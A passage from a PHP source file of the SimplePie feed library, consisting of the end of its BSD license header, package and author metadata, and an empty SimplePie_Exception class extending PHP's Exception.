 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.4-dev
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * General SimplePie exception class
 *
 * @package SimplePie
 */
class SimplePie_Exception extends Exception
{
}